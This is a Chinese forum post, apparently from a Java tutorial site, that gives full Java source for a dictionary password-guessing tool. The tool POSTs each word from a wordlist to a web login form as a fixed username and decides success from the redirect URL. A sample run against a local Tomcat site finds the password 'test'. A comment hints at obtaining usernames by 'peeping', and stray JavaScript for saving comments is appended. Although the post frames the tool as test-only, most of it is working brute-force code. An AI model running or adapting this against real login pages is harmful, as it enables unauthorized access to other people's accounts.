TA的每日心情 | 开心 2021-3-12 23:18 |
---|
签到天数: 2 天 [LV.1]初来乍到
|
看了张剑的表单密码探嗅程序,特写一段代码验证:
先向服务器发送一个POST请求,然后根据服务器回应的URL判断提交的用户名和密码是否正确。
我的程序实现与张剑的不同,他用了Socket,线程和GUI。我就用URLConnection,也没有线程。仅能作测试用。
一、 先准备一个字典文件,这里就是一个普通的文本文件english.txt啦。内容如下:
646445
53453553
88887777
44455
test
222
test
1234
test
258258258
二、运行Tomcat 5.5,启动其中的web站点:http://127.0.0.1:8080/password/
站点文件请下载。主要有三个,index.HTML(含有登录表单),check.jsp(表单验证),ok.jsp,error.jsp 三、在命令行运行探密程序,下面是运行结果:
C:java>javac TestPassword.java C:java>java TestPassword
Try......646445
Try......53453553
Try......88887777
Try......44455
Try......test
OK! password=test C:java> 四、源码
1、TestPassword.java- import java.net.*;
- import java.io.*;
- import java.util.*;
- public class TestPassword{
- public static void main(String[] args){
- //猜口令用的字典
- String filename="english.txt";
- String currentPassword=null;
- boolean success=false;
- //服务器验证口令正确后的URL,当然要预先弄清楚
- String successURL="http://localhost:8080/password/ok.jsp";
- //服务器验证口令失败后的URL,当然要预先弄清楚
- String failURL="http://localhost:8080/password/error.jsp";
- String returnURL=null;
- try{
- BufferedReader fileReader=new BufferedReader(new FileReader(filename));
- //验证表单的JSP页面的URL,当然要预先弄清楚
- URL url = new URL("http://localhost:8080/password/check.jsp");
- while((currentPassword=fileReader.readLine())!=null){
- URLConnection connection = url.openConnection();
- connection.setDoOutput(true);
- connection.connect();
- OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
- //username与password是表单验证程序所需要的参数,从登录表单中获取,至于用户名"cwb"
- //那要看你的"偷窥"的水平。
-
-
- String formdata="username=cwb&password="+currentPassword;
- System.out.println("Try......"+currentPassword);
- out.write(formdata);
- out.flush();
-
- InputStream in=connection.getInputStream();
- returnURL=connection.getURL().toString();
- //System.out.println(returnURL);
- if(returnURL.indexOf(successURL)!=-1){
- System.out.println("OK! password="+currentPassword);
- success=true;
- break;
- }
- }
-
- if(!success) System.out.println("geuss password failed");
-
-
- }catch(MalformedURLException e){ System.out.println("Must enter a valid URL");
- }catch(IOException e){ System.out.println("Can"t connect"); }
- }
- }
复制代码
function TempSave(ElementID)
{
CommentsPersistDiv.setAttribute("CommentContent",document.getElementById(ElementID).value);
CommentsPersistDiv.save("CommentXMLStore");
}
function Restore(ElementID)
{
CommentsPersistDiv.load("CommentXMLStore");
document.getElementById(ElementID).value=CommentsPersistDiv.getAttribute("CommentContent");
}
源码下载:http://file.javaxxz.com/2014/10/1/100846125.zip |
|